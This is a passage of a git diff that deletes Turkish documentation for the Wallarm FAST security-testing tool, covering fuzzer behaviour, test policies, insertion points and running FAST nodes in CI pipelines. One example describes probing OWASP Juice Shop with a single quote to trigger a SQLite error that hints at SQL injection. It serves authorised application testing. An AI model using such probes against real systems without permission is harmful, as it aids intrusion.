ile orijinal baseline isteğine gelen yanıt süresi arasındaki fark (saniye cinsinden) -* **DOM diff**: FAST ve orijinal baseline isteklerinin DOM öğe sayısı farkı -* **Body**: [Ruby düzenli ifadesi][link-ruby-regexp]. Yanıt gövdesi bu düzenli ifadeyi sağlıyorsa koşul karşılanır - -[**Stop fuzzing if response**][anchor-stop-section] bölümünde ayrıca aşağıdaki parametreler de yapılandırılabilir: - -* **Anomalies**: tespit edilen anomali sayısı -* **Timeout errors**: sunucudan yanıt alınamadığı kaç kez gerçekleştiği - -Bu parametrelerin bir kombinasyonunu kullanarak, fuzzer'ın çalışmasını etkileyen gerekli koşulları yapılandırabilirsiniz (aşağıya bakın). - -## "Payloads" Bölümü - -Bu bölüm bir veya daha fazla payload'ı yapılandırmak için kullanılır. - -Payload ekleme sırasında aşağıdaki veriler belirtilir: - -* yük boyutu: 1 ile 255 bayt arasında -* payload'ın hangi değere yerleştirileceği: başlangıç, rastgele veya son konum - -Payload değiştirme sırasında aşağıdaki veriler belirtilir: - -* değiştirme yöntemi: değerde rastgele bir segmenti değiştir, ilk `M` bayt, son `M` bayt veya tüm dize -* yük boyutu `M`: 1 ile 255 bayt arasında - - -## "Consider Result an Anomaly if Response" Bölümü - -Uygulamadan gelen yanıt, **Consider result an anomaly if response** bölümünde yapılandırılan tüm koşulları karşılıyorsa, bir anomali bulunduğu kabul edilir. - -Örnek: - -Yanıt gövdesi `.*SQLITE_ERROR.*` düzenli ifadesini sağlıyorsa, gönderilen FAST isteğinin bir anomaliye neden olduğu kabul edilir: - -![Koşul örneği][img-anomaly-condition] - -!!! info "Varsayılan davranış" - Bu bölümde yapılandırılmış koşul yoksa, fuzzer sunucu yanıtını baseline isteğe verilen yanıttan anormal derecede farklı parametrelerle algılar. Örneğin, uzun bir sunucu yanıt süresi, sunucu yanıtının anormal olarak algılanması için bir neden olabilir. - -## "Consider result not an anomaly if response" Bölümü - -Uygulamadan gelen yanıt, **Consider result not an anomaly if response** bölümünde yapılandırılan tüm koşulları karşılıyorsa, bir anomali bulunmadığı kabul edilir. - -Örnek: - -Yanıt kodu `500`'den düşükse, gönderilen FAST isteğinin bir anomaliye neden olmadığı kabul edilir: - -![Koşul örneği][img-not-anomaly-condition] - -## "Stop fuzzing if response" Bölümü - -Uygulama yanıtı, tespit edilen anomali sayısı veya zaman aşımı hataları sayısı, **Stop fuzzing if response** bölümünde yapılandırılan tüm koşulları sağlıyorsa, fuzzer anomali aramayı durdurur. - -Örnek: - -İkiden fazla anomali tespit edilirse fuzzing durdurulacaktır. Her bir anomali içinde, ikiye eşit olmayan herhangi bir sayıda tekil anomali baytı bulunabilir. - -![Koşul örneği][img-stop-condition] - -!!! info "Varsayılan davranış" - Fuzzing sürecini durdurma koşulları yapılandırılmamışsa, fuzzer tüm 255 anomali baytını kontrol eder. Bir anomali tespit edilirse, payload içindeki her bir bayt ayrı ayrı durdurulacaktır. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/fuzzer-internals.md b/docs/latest-tr/fast/operations/test-policy/fuzzer-internals.md deleted file mode 100644 index 85d603a517..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/fuzzer-internals.md +++ /dev/null @@ -1,68 +0,0 @@ -[img-search-for-anomalies]: ../../../images/fast/operations/en/test-policy/fuzzer/search-for-anomalies-scheme.png -[img-anomaly-description]: ../../../images/fast/operations/common/test-policy/fuzzer/anomaly-description.png - -[doc-fuzzer-configuration]: fuzzer-configuration.md - -[link-payloads-section]: fuzzer-configuration.md#the-payloads-section -[link-stop-fuzzing-section]: fuzzer-configuration.md#the-stop-fuzzing-if-response-section - - -# Fuzzer Çalışma İlkeleri - -Fuzzer, `0x01` ile `0xFF` arasındaki 255 anormal baytı kontrol eder. İstek noktalarına eklenen bir veya daha fazla böyle bayt hedef uygulamada anormal davranışa yol açabilir. - -Her baytı tek tek kontrol etmek yerine, fuzzer noktaya sabit uzunlukta bir veya daha fazla anormal bayt sırası (*payloads*) ekler ve bu isteği uygulamaya gönderir. - -İzin verilen noktaları değiştirmek için fuzzer: - -* Payload’ları şuralara ekler: - - * değerin başına - * değerin rastgele bir konumuna - * değerin sonuna -* Aşağıdaki değer kısımlarını payload ile değiştirir: - - * rastgele segmentler - * ilk `M` bayt - * son `M` bayt - * tüm dize - -[füzzer yapılandırması][doc-fuzzer-configuration] ile FAST’ten uygulamaya giden istekteki payload’ın boyutu `M` bayt cinsinden ayarlanır. Bu aşağıdakileri etkiler: - -* payload ekleme kullanılırsa noktaya eklenecek bayt sayısı -* payload ile değiştirme kullanılırsa noktada değiştirilecek bayt sayısı -* uygulamaya gönderilen istek sayısı - -Payload içeren isteğe gelen yanıtta anormal davranış tespit edilirse, fuzzer her payload baytı için uygulamaya özel istekler gönderir. Böylece fuzzer, anormal davranışa neden olan belirli baytları tespit eder. - -![Anormal baytları kontrol etme şeması][img-search-for-anomalies] - -Tespit edilen tüm baytlar anomali açıklamasında sunulur: - -![Anomali açıklaması][img-anomaly-description] - -??? info "Fuzzer çalışma örneği" - 250 baytlık payloadın, bazı bir nokta değerinin ilk 250 baytını [değiştirmesine](fuzzer-configuration.md) izin verelim. - - Bu koşullarda, fuzzer bilinen tüm anormal baytları göndermek için iki istek oluşturur: biri 250 baytlık payload ile, diğeri 5 baytlık payload ile. - - Temel (baseline) istekteki ilk nokta değeri şu şekilde değiştirilecektir: - - * Değer 250 bayttan uzunsa: başlangıçta değerin ilk 250 baytı 250 baytlık payload ile değiştirilir, ardından ilk 250 bayt 5 baytlık payload ile değiştirilir. - * Değer 250 bayttan kısaysa: başlangıçta değer tamamen 250 baytlık payload ile değiştirilir, ardından değer tamamen 5 baytlık payload ile değiştirilir. - - 5 baytlık `ABCDE` payloadının uzun nokta değerinin ilk 250 baytını `_250-bytes-long-head_qwerty` değiştirip bir anomaliye neden olduğunu varsayalım. Başka bir deyişle, `ABCDEqwerty` nokta değeriyle gönderilen test isteği bir anomaliye neden oldu. - - Bu durumda fuzzer, her baytı kontrol etmek için aşağıdaki nokta değerleriyle 5 ek istek oluşturacaktır: - - * `Aqwerty` - * `Bqwerty` - * `Cqwerty` - * `Dqwerty` - * `Eqwerty` - - Bu isteklerden biri veya birkaçı tekrar bir anomaliye neden olacak ve fuzzer, tespit edilen anormal baytların listesini oluşturacaktır; örneğin: `A`, `C`. - - Sonraki adımda [fuzzing yapılandırması][doc-fuzzer-configuration] ve anomali bulunup bulunmadığını tanımlayan kuralların açıklaması hakkında bilgi alabilirsiniz. - -FAST fuzzer her iterasyonda bir izin verilen noktayı işler (*fuzzing*). [Fuzzing durdurma kurallarına][link-stop-fuzzing-section] bağlı olarak, bir veya daha fazla nokta ardışık olarak işlenecektir. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/fuzzer-intro.md b/docs/latest-tr/fast/operations/test-policy/fuzzer-intro.md deleted file mode 100644 index 3e63737e02..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/fuzzer-intro.md +++ /dev/null @@ -1,23 +0,0 @@ -[doc-fuzzer-internals]: fuzzer-internals.md -[doc-fuzzer-configuration]: fuzzer-configuration.md - -[gl-vuln]: ../../terms-glossary.md#vulnerability -[gl-anomaly]: ../../terms-glossary.md#anomaly - -# Anomali Algılama Sürecinin Yapılandırılması: Genel Bakış - -[Zafiyetlerin][gl-vuln] tespitine ek olarak, FAST fuzzer kullanarak [anomali][gl-anomaly]leri de tespit edebilir. - -Bu dokümantasyon bölümü aşağıdaki noktaları açıklar: - -* [Fuzzer’ın Çalışma İlkeleri][doc-fuzzer-internals] -* [Policy Editor kullanılarak Fuzzer’ın Yapılandırılması][doc-fuzzer-configuration] - -??? info "Anomali örneği" - Hedef uygulama [OWASP Juice Shop](https://www.owasp.org/www-project-juice-shop/)’un anormal davranışı, [FAST uzantısı örneğinde](../../dsl/extensions-examples/mod-extension.md) gösterilmektedir. - - Bu hedef uygulama, kullanıcı adı ve parola yanlış kombinasyonuyla yapılan yetkilendirme isteğine genellikle `403 Unauthorized` kodu ve `Invalid email or password.` mesajıyla yanıt verir. - - Ancak, kullanıcı adı değerinin herhangi bir bölümünde `'` sembolü iletilirse, uygulama `500 Internal Server Error` kodu ve `...SequelizeDatabaseError: SQLITE_ERROR:...` mesajıyla yanıt verir; bu davranış anormaldir. - - Bu anomali herhangi bir zafiyetin doğrudan istismarına yol açmaz, ancak bir saldırgana uygulama mimarisi hakkında bilgi verir ve [SQL Injection](../../vuln-list.md#sql-injection) saldırısını gerçekleştirmeye yönlendirir. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/general.md b/docs/latest-tr/fast/operations/test-policy/general.md deleted file mode 100644 index d57179d37a..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/general.md +++ /dev/null @@ -1,19 +0,0 @@ -[img-tab-general]: ../../../images/fast/operations/common/test-policy/policy-editor/tab-general.png - -# Temel Politika Yapılandırması - -Politikayı oluştururken veya düzenlerken, Wallarm hesabınızdaki politika düzenleyicisinin **General** bölümüne yönlendirilirsiniz. Bu bölüm, genel politika ayarlarını içerir: - -![Politika düzenleyicisinin General bölümü][img-tab-general] - -Bu bölümde aşağıdaki alanların doldurulması gerekir: - -* politika adı -* politika açıklaması - -Ayrıca politikaya bir veya daha fazla etiket ekleyebilirsiniz. Bu, belirli bir politikada kullanılan testleri bu etiketle hızlıca bulmanızı sağlar. - -Politika düzenleyicisinin ilk bölümü aşağıdaki seçenekleri içerir: - -* Politika kullanımına ilişkin istatistikler (bu veriler yalnızca mevcut politikalar için kullanılabilir) -* Metin biçiminde açıklanan test politikası \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/insertion-points.md b/docs/latest-tr/fast/operations/test-policy/insertion-points.md deleted file mode 100644 index 8ff93624ba..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/insertion-points.md +++ /dev/null @@ -1,46 +0,0 @@ -[img-remove-point]: ../../../images/fast/operations/common/test-policy/policy-editor/remove-point.png -[img-point-help]: ../../../images/fast/operations/common/test-policy/policy-editor/point-help.png - -[link-get-point]: ../../dsl/points/parsers/http.md#get-filter -[link-post-point]: ../../dsl/points/parsers/http.md#post-filter -[link-path-point]: ../../dsl/points/parsers/http.md#path-filter -[link-action-name-point]: ../../dsl/points/parsers/http.md#action_name-filter -[link-action-ext-point]: ../../dsl/points/parsers/http.md#action_ext-filter -[link-uri-point]: ../../dsl/points/parsers/http.md#uri-filter - -[doc-point-list]: ../../dsl/points/parsers.md - -# Nokta İşleme Kurallarının Yapılandırılması - -Noktalar, Wallarm hesabınızdaki politika düzenleyicisindeki Insertion Points bölümünde yapılandırılır. Bu bölüm iki bloktan oluşur: - -* **Where in the request to include** işlemeye izin verilen noktalar için -* **Where in the request to exclude** işlemeye izin verilmeyen noktalar için - -Oluşturulan nokta listesini eklemek için, gerekli blokta **Add insertion point** düğmesini kullanın. - -Bir noktayı silmek için, yanındaki «—» simgesini kullanın: - -![Bir noktayı silme][img-remove-point] - -!!! info "Temel noktalar" - Bir politika oluştururken, tipik noktalar otomatik olarak **Where in the request to include** bölümüne eklenir: - - * `URI_value`: [URI][link-uri-point] - * `PATH_.*`: URI'nin herhangi bir bölümü [yol][link-path-point] - * `ACTION_NAME`: [eylem][link-action-name-point] - * `ACTION_EXT`: [uzantı][link-action-ext-point] - * `GET_.*`: herhangi bir [GET parametresi][link-get-point] - * `POST_.*`: herhangi bir [POST parametresi][link-post-point] - - **Where in the request to exclude** bölümündeki noktalar listesi varsayılan olarak boştur. - - Aynı nokta listesi varsayılan politika için de yapılandırılmıştır. Bu politika değiştirilemez. - - -!!! info "Nokta referansı" - Noktaları oluştururken veya düzenlerken, noktalarla ilgili ek ayrıntıları almak için **How to use** bağlantısına tıklayabilirsiniz. - - ![Nokta referansı][img-point-help] - - FAST'in işleyebileceği noktaların tam listesine bu [bağlantı][doc-point-list] üzerinden ulaşabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/overview.md b/docs/latest-tr/fast/operations/test-policy/overview.md deleted file mode 100644 index 486a8e52db..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/overview.md +++ /dev/null @@ -1,53 +0,0 @@ -[doc-insertion-points]: insertion-points.md - -[gl-vuln]: ../../terms-glossary.md#vulnerability -[gl-point]: ../../terms-glossary.md#point -[gl-anomaly]: ../../terms-glossary.md#anomaly - -# FAST Test Politikaları: Genel Bakış - -FAST, bir uygulamayı [zafiyetlere][gl-vuln] karşı test ederken FAST düğümünün davranışını yapılandırmanıza olanak tanıyan test politikaları kullanır. Bu bölümdeki belgeler test politikası yönetimine ilişkin talimatlar içerir. - -!!! info "Terimler" - Bu dokümantasyon bölümünde "FAST test policy" ifadesi kısaca "policy" olarak anılabilir. - -## Test Politikası İlkeleri - -FAST, istek öğelerini [noktalar][gl-point] olarak temsil eder ve yalnızca işlenmesine izin verilen bir veya daha fazla nokta içeren isteklerle çalışır. Bu tür noktaların listesi politika ile tanımlanır. İstek, izin verilen noktalar içermiyorsa atılır ve bu istek temel alınarak test istekleri oluşturulmaz. - -Politika aşağıdaki noktaları düzenler: - -* Testlerin yürütülme şekli - - Test sırasında, FAST aşağıda listelenen bir veya daha fazla yöntemi izler: - - * yerleşik FAST uzantılarını kullanarak zafiyet tespiti, *detects* olarak da bilinir - * özel uzantıları kullanarak zafiyet tespiti - * FAST fuzz testi kullanarak [anomali][gl-anomaly] tespiti - -* Uygulama testi sırasında FAST düğümünün işlediği temel isteğin öğeleri - - İşlenmesine izin verilen noktalar, Wallarm hesabınızdaki politika düzenleyicisinde **Insertion points** > **Where in the request to include** bölümünde yapılandırılır. Insertion points hakkında ayrıntılar için bu [bağlantıya][doc-insertion-points] bakın. - -* Uygulama testi sırasında FAST düğümünün işlemediği temel isteğin öğeleri - - İşlenmesine izin verilmeyen noktalar, Wallarm hesabınızdaki test politikası ayarlarında **Insertion points** > **Where in the request to exclude** bölümünde yapılandırılır. Insertion points hakkında daha fazla bilgiyi şu [bağlantıda][doc-insertion-points] bulabilirsiniz. - - İşlenmesine izin verilmeyen noktalar, **Where in the request to include** bölümünde çok çeşitli noktalar olduğunda ve belirli öğelerin işlenmesinin hariç tutulması gerektiğinde kullanılabilir. Örneğin, tüm GET parametrelerinin işlenmesine izin verilmişse (`GET_.*`) ve `uuid` parametresinin işlenmesinin hariç tutulması gerekiyorsa, **Where in the request to exclude** bölümüne `GET_uid_value` ifadesi eklenmelidir. - -!!! warning "Politika kapsamı" - Noktaları açıkça hariç tuttuğunuzda, FAST düğümü yalnızca politika tarafından izin verilen noktaları işler. - - İstekteki diğer hiçbir nokta işlenmez. - -??? info "Politika örneği" - ![Politika örneği](../../../images/fast/operations/common/test-policy/overview/policy-flow-example.png) - - Yukarıdaki görsel, FAST düğümünün zafiyet tespitinde kullandığı politikayı göstermektedir. Bu politika, hedef uygulamaya her zaman dokunulmadan iletilen `token` GET parametresi hariç, temel istekteki tüm GET parametrelerinin işlenmesine izin verir. - - Ayrıca, politika fuzzer devre dışıyken yerleşik FAST uzantılarını ve özel uzantıları kullanmanıza izin verir. - - Dolayısıyla, detects ve uzantılar kullanılarak zafiyet testi yalnızca temel istek **A** (`/app.php?uid=1234`) - . - - Temel istek **B** (`/app.php?token=qwe1234`) üzerinde zafiyet testi yapılmayacaktır çünkü işlenmesine izin verilen GET parametrelerini içermez. Bunun yerine, hariç tutulan `token` parametresini içerir. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/using-policy.md b/docs/latest-tr/fast/operations/test-policy/using-policy.md deleted file mode 100644 index 115f550fe5..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/using-policy.md +++ /dev/null @@ -1,38 +0,0 @@ -[img-set-policy-in-gui]: ../../../images/fast/operations/common/test-policy/overview/tr-gui-set-policy.png -[img-get-policy-id]: ../../../images/fast/operations/common/test-policy/overview/get-policy-id.png - -[doc-pol-tr-relations]: ../internals.md#fast-test-policy -[doc-tr-creation-gui]: ../create-testrun.md#creating-a-test-run-via-web-interface -[doc-tr-creation-api]: ../create-testrun.md#creating-a-test-run-via-api -[doc-tr-copying-gui]: ../copy-testrun.md#copying-a-test-run-via-web-interface -[doc-tr-copying-api]: ../copy-testrun.md#copying-a-test-run-via-an-api - -[doc-ci-mode]: ../../poc/integration-overview-ci-mode.md -[doc-tr-pid-envvar]: ../../poc/ci-mode-testing.md#environment-variables-in-testing-mode - -[link-pol-list-eu]: https://my.wallarm.com/testing/policies/ -[link-pol-list-us]: https://us1.my.wallarm.com/testing/policies/ - - -# Test Politikalarının Kullanımı - -Test politikaları, güvenlik testleriyle [ilişkilidir][doc-pol-tr-relations]. Bir test yinelemesi oluşturulurken, her bir test politikası FAST node davranışını tanımlar ve belirtir. - -Test politikasını aşağıdaki yollarla belirtebilirsiniz: - -* Arayüzü kullanarak: test [oluşturuluyor][doc-tr-creation-gui] veya [kopyalanıyorsa][doc-tr-copying-gui], **Test policy** açılır listesinden politikayı seçin: - - ![Arayüz üzerinden test çalıştırması oluşturma sırasında test politikasını seçme][img-set-policy-in-gui] - -* Test politika kimliğini (ID) belirtin: - * test, API yöntemleriyle [oluşturuluyor][doc-tr-creation-api] veya [kopyalanıyorsa][doc-tr-copying-api], API isteğinde - * testleri [FAST node][doc-ci-mode] içinde yönetiyorsanız [`TEST_RUN_POLICY_ID`][doc-tr-pid-envvar] ortam değişkeninde - - Test politika kimliğini, Wallarm hesabınızdaki politika listesinde [AB bulutu][link-pol-list-eu] veya [ABD bulutu][link-pol-list-us] için bulabilirsiniz. - - ![Politika kimliğini alma][img-get-policy-id] - -!!! info "Varsayılan test politikası" - FAST otomatik olarak **Default Policy** oluşturur ve uygular. Bu politika, en yaygın kullanılan istek noktalarını kontrol ederek bir uygulamayı tipik güvenlik açıklarına karşı test eder. - - Lütfen varsayılan test politikasının ayarlarının değiştirilemeyeceğini unutmayın. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/ci-mode-concurrent-pipelines.md b/docs/latest-tr/fast/poc/ci-mode-concurrent-pipelines.md deleted file mode 100644 index 4fe5f01053..0000000000 --- a/docs/latest-tr/fast/poc/ci-mode-concurrent-pipelines.md +++ /dev/null @@ -1,98 +0,0 @@ -[doc-ci-recording]: ci-mode-recording.md -[doc-ci-recording-example]: ci-mode-recording.md#deployment-of-a-fast-node-in-recording-mode -[doc-ci-testing]: ci-mode-testing.md -[doc-ci-testing-example]: ci-mode-testing.md#deployment-of-a-fast-node-in-the-testing-mode - -# Eşzamanlı CI/CD İş Akışlarında FAST'in Kullanımı - -!!! info "Gerekli veriler" - Bu belgede örnek olarak aşağıdaki değerler kullanılmaktadır: - - * `token_Qwe12345` bir belirteç olarak. - * `rec_1111` ve `rec_2222` test kayıtlarının tanımlayıcıları olarak. - -Birden fazla FAST düğümü eşzamanlı CI/CD iş akışlarında aynı anda dağıtılabilir. Bu düğümler aynı belirteci paylaşır ve tek bir bulut FAST düğümüyle çalışır. - -Bu dağıtım şeması, hem [kayıt][doc-ci-recording] hem de [test][doc-ci-testing] modlarında çalışan FAST düğümleri için geçerlidir. - -Eşzamanlı FAST düğümleri çalışırken çakışmaları önlemek için, her düğümün konteynerine `BUILD_ID` ortam değişkeni iletilir. Bu değişken şu amaçlara hizmet eder: -1. Kayıt modunda çalışan bir FAST düğümünün oluşturduğu test kaydı için ek bir tanımlayıcı olarak kullanılır. -2. Test modunda çalışan bir FAST düğümünün oluşturduğu test çalıştırmasının hangi test kaydını kullanacağını belirlemeyi sağlar (böylece test çalıştırması test kaydına bağlanır). -3. Belirli bir CI/CD iş akışını tanımlar. - -`BUILD_ID` ortam değişkeni değer olarak harf ve rakamların herhangi bir kombinasyonundan oluşabilir. - -Sonraki adımda, iki FAST düğümünün aynı anda nasıl çalıştırılacağına ilişkin bir örnek verilecektir: önce kayıt modunda, ardından test modunda. Aşağıda açıklanan yaklaşım ölçeklenebilirdir (gerektiği kadar düğüm kullanabilirsiniz; düğüm sayısı aşağıdaki örnekte olduğu gibi ikiyle sınırlı değildir) ve gerçek bir CI/CD iş akışında uygulanabilir. - - -## Eşzamanlı CI/CD İş Akışlarında Kullanmak Üzere FAST Düğümünü Kayıt Modunda Çalıştırma - -!!! info "Örnekler hakkında not" - Aşağıdaki örnekler, bir FAST düğümü konteynerinin ayağa kalkıp çalışması için yeterli olan asgari ortam değişkenleri kümesini kullanır. Bu, basitlik içindir. - -İlk FAST düğümü konteynerini kayıt modunda çalıştırmak için aşağıdaki komutu çalıştırın: - -``` -docker run --rm --name fast-node-1 \ # Bu komut fast-node-1 konteynerini çalıştırır --e WALLARM_API_HOST=api.wallarm.com \ # Wallarm API sunucu ana makinesi (bu örnekte ana makine Avrupa Wallarm Cloud'unda bulunur) --e WALLARM_API_TOKEN='qwe_12345' \ # Bulut FAST düğümüne bağlanmak için belirteç --e CI_MODE=recording \ # Bu düğüm kayıt modunda çalışacaktır --e BUILD_ID=1 \ # BUILD_ID değeri (eşzamanlı işlem hattı için diğerinden farklı olmalıdır) --p 8080:8080 wallarm/fast # Bağlantı noktası eşlemesi burada yapılır. Ayrıca kullanılacak Docker imajı burada belirtilir. -``` - -İkinci eşzamanlı FAST düğümü konteynerini kayıt modunda çalıştırmak için aşağıdaki komutu çalıştırın: - -``` -docker run --rm --name fast-node-2 \ --e WALLARM_API_HOST=api.wallarm.com \ --e WALLARM_API_TOKEN='qwe_12345' \ # Belirteç değeri ilk FAST düğümü için kullanılanla aynı olmalıdır --e CI_MODE=recording \ --e BUILD_ID=2 \ # BUILD_ID değeri, diğer CI/CD iş akışındaki ilk FAST düğümünde kullanılan değerden farklıdır. --p 8000:8080 wallarm/fast -``` - -!!! info "`docker run` komutlarına ilişkin not" - Yukarıdaki komutların aynı Docker ana makinesinde çalıştırılması amaçlanmıştır; bu nedenle farklı `BUILD_ID` değerlerine ek olarak bu komutların konteyner adları (`fast-node-1` ve `fast-node-2`) ve hedef bağlantı noktası değerleri (`8080` ve `8000`) da farklıdır. - - FAST düğümü konteynerlerini ayrı Docker ana makinelerinde çalıştırırsanız, `docker run` komutları yalnızca `BUILD_ID` değerlerinde farklılık gösterebilir. - -Bu iki komutu çalıştırdıktan sonra, iki FAST düğümü aynı bulut FAST düğümünü kullanarak kayıt modunda çalışacak, ancak **farklı test kayıtları oluşturulacaktır**. - -CI/CD aracı konsol çıktısı [burada][doc-ci-recording-example] açıklanana benzer olacaktır. - -Test kayıtları gerekli tüm temel isteklerle doldurulduğunda, ilgili FAST düğümlerini kapatın ve diğer düğümleri test modunda başlatın. - -## Eşzamanlı CI/CD İş Akışlarında Kullanmak Üzere FAST Düğümünü Test Modunda Çalıştırma - -`fast-node-1` ve `fast-node-2` FAST düğümleri kayıt modunda çalışırken `rec_1111` ve `rec_2222` test kayıtlarının hazırlandığını varsayalım. - -Ardından, test modundaki bir FAST düğümünü `rec_1111` test kaydını kullanacak şekilde yönlendirmek için düğüm konteynerine `BUILD_ID=1` ortam değişkenini iletin. Benzer şekilde, `rec_2222` test kaydını kullanmak için `BUILD_ID=2` ortam değişkenini iletin. FAST düğümlerini test modunda çalıştırmak için aşağıdaki ilgili `docker run` komutlarını kullanın. - -İlk FAST düğümü konteynerini test modunda çalıştırmak için aşağıdaki komutu çalıştırın: - -``` -docker run --rm --name fast-node-1 \ --e WALLARM_API_HOST=api.wallarm.com \ --e WALLARM_API_TOKEN='qwe_12345' \ --e CI_MODE=testing \ # Bu düğüm test modunda çalışacaktır --e BUILD_ID=1 \ # `BUILD_ID=1` değişkeni `rec_1111` test kaydına karşılık gelir -wallarm/fast -``` - -İkinci eşzamanlı FAST düğümü konteynerini kayıt modunda çalıştırmak için aşağıdaki komutu çalıştırın: - -``` -docker run --rm --name fast-node-2 \ --e WALLARM_API_HOST=api.wallarm.com \ --e WALLARM_API_TOKEN='qwe_12345' \ --e CI_MODE=testing \ # Bu düğüm test modunda çalışacaktır --e BUILD_ID=2 \ # `BUILD_ID=2` değişkeni `rec_2222` test kaydına karşılık gelir -wallarm/fast -``` - -CI/CD aracı konsol çıktısı [burada][doc-ci-testing-example] açıklanana benzer olacaktır. - -FAST düğümlerine ilgili `BUILD_ID` ortam değişkeni değerlerinin iletilmesi sonucunda, her biri farklı bir test kaydıyla çalışan **iki test çalıştırması aynı anda yürütülmeye başlayacaktır**. - -Dolayısıyla `BUILD_ID` ortam değişkenini belirterek, düğümler arasında herhangi bir çakışma oluşturmadan eşzamanlı CI/CD iş akışları için birkaç FAST düğümü çalıştırabilirsiniz (yeni oluşturulan bir test çalıştırması, çalışmakta olan bir test çalıştırmasının yürütülmesini sonlandırmayacaktır). \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/ci-mode-recording.md b/docs/latest-tr/fast/poc/ci-mode-recording.md deleted file mode 100644 index c28b3d9e51..0000000000 --- a/docs/latest-tr/fast/poc/ci-mode-recording.md +++ /dev/null @@ -1,127 +0,0 @@ -[doc-allowed-hosts]: ../operations/env-variables.md#limiting-the-number-of-requests-to-be-recorded -[doc-get-token]: prerequisites.md#anchor-token -[doc-concurrent-pipelines]: ci-mode-concurrent-pipelines.md -[doc-env-variables]: ../operations/env-variables.md - -[anchor-recording-variables]: #environment-variables-in-recording-mode - -[link-docker-compose]: https://docs.docker.com/compose/ -[link-docker-compose-install]: https://docs.docker.com/compose/install/ - -# FAST Düğümünü Kayıt Modunda Çalıştırma - -Bu modda, FAST düğümü hedef uygulama test edilmeden önce çalışır. - -İsteklerin kaynağı, FAST düğümünü bir proxy olarak kullanacak şekilde yapılandırılır ve HTTP veya HTTPS isteklerini hedef uygulamaya gönderir. - -FAST düğümü, proxy üzerinden geçen istekler arasından temel (baseline) istekleri belirler ve bunları bir test kaydına yerleştirir. - -!!! info "Bölüm Önkoşulları" - Bu bölümde açıklanan adımları takip etmek için bir [token][doc-get-token] almanız gerekir. - - Aşağıdaki değerler bu bölüm boyunca örnek olarak kullanılmaktadır: - - * `token_Qwe12345` bir token olarak. - * `rec_0001` bir test kaydının tanımlayıcısı olarak. - -!!! info "`docker-compose` Kurulumu" - FAST düğümünün kayıt modunda nasıl çalıştığını göstermek için bu bölüm boyunca [`docker-compose`][link-docker-compose] aracı kullanılacaktır. - - Bu aracın kurulum talimatları [burada][link-docker-compose-install] mevcuttur. - -## Kayıt Modunda Ortam Değişkenleri - -FAST düğümü yapılandırması ortam değişkenleri aracılığıyla yapılır. Aşağıdaki tabloda, FAST düğümünü kayıt modunda yapılandırmak için kullanılabilecek tüm ortam değişkenleri yer almaktadır. - -| Ortam Değişkeni | Değer | Gerekli mi? | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | Bir düğüm için token. | Evet | -| `WALLARM_API_HOST` | Kullanılacak Wallarm API sunucusunun alan adı.
              İzin verilen değerler:
              `us1.api.wallarm.com` US cloud için;
              `api.wallarm.com` EU cloud için.| Evet | -| `CI_MODE` | FAST düğümünün çalışma modu.
              Gerekli değer: `recording`. | Evet | -| `TEST_RECORD_NAME` | Oluşturulacak yeni test kaydının adı.
              Varsayılan değer benzer bir biçimdedir: “TestRecord Oct 08 12:18 UTC”. | Hayır | -| `INACTIVITY_TIMEOUT` | Belirtilen `INACTIVITY_TIMEOUT` aralığı içinde FAST düğümüne hiçbir temel (baseline) istek ulaşmazsa, kayıt işlemi FAST düğümüyle birlikte durdurulur.
              İzin verilen değer aralığı: 1 ile 691200 saniye (1 hafta)
              Varsayılan değer: 600 saniye (10 dakika). | Hayır | -| `ALLOWED_HOSTS` | FAST düğümü, bu ortam değişkeninde listelenen herhangi bir ana bilgisayarı hedefleyen istekleri kaydeder.
              Varsayılan değer: boş dize (tüm gelen istekler kaydedilir). Ayrıntılar için [şu][doc-allowed-hosts] belgeye bakın.| Hayır | -| `BUILD_ID` | Bir CI/CD iş akışının tanımlayıcısı. Bu tanımlayıcı, aynı bulut FAST düğümünü kullanarak birden fazla FAST düğümünün eşzamanlı çalışmasına olanak tanır. Ayrıntılar için [şu][doc-concurrent-pipelines] belgeye bakın.| Hayır | - -!!! info "Ayrıca bakınız" - Belirli bir FAST düğümü çalışma moduna özel olmayan ortam değişkenlerinin açıklamaları [burada][doc-env-variables] mevcuttur. - -## Kayıt Modunda FAST Düğümünün Dağıtımı - -FAST’in kayıt modunda nasıl çalıştığını göstermek için örnek bir `docker-compose.yaml` yapılandırma dosyası kullanılacaktır (`CI_MODE` ortam değişkeninin değerine dikkat edin): - -``` -version: '3' - services: - fast: - image: wallarm/fast - environment: - WALLARM_API_TOKEN: token_Qwe12345 # Token değerini burada belirtin - WALLARM_API_HOST: us1.api.wallarm.com # Burada US cloud API sunucusu kullanılmaktadır. EU cloud API sunucusu için api.wallarm.com kullanın. - CI_MODE: recording - ports: - - '8080:8080' - networks: - main: - aliases: - - fast - -networks: - main: -``` - -FAST düğümünü içeren bir Docker konteynerini çalıştırmak için `docker-compose.yaml` dosyasının bulunduğu dizine gidin ve `docker-compose up fast` komutunu çalıştırın. - -Komut başarıyla çalışırsa, aşağıdakine benzer bir konsol çıktısı oluşacaktır: - -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - - Loading... - [info] Node connected to Wallarm Cloud - [info] Loaded 0 custom extensions for fast scanner - [info] Loaded 44 default extensions for fast scanner - [info] TestRecord#rec_0001 TestRecord Oct 01 01:01 UTC starts to record - -``` - -Bu çıktı, FAST düğümünün Wallarm Cloud’a başarıyla bağlandığını ve `rec_0001` tanımlayıcısına ve `TestRecord Oct 01 01:01 UTC.` adına sahip bir test kaydı 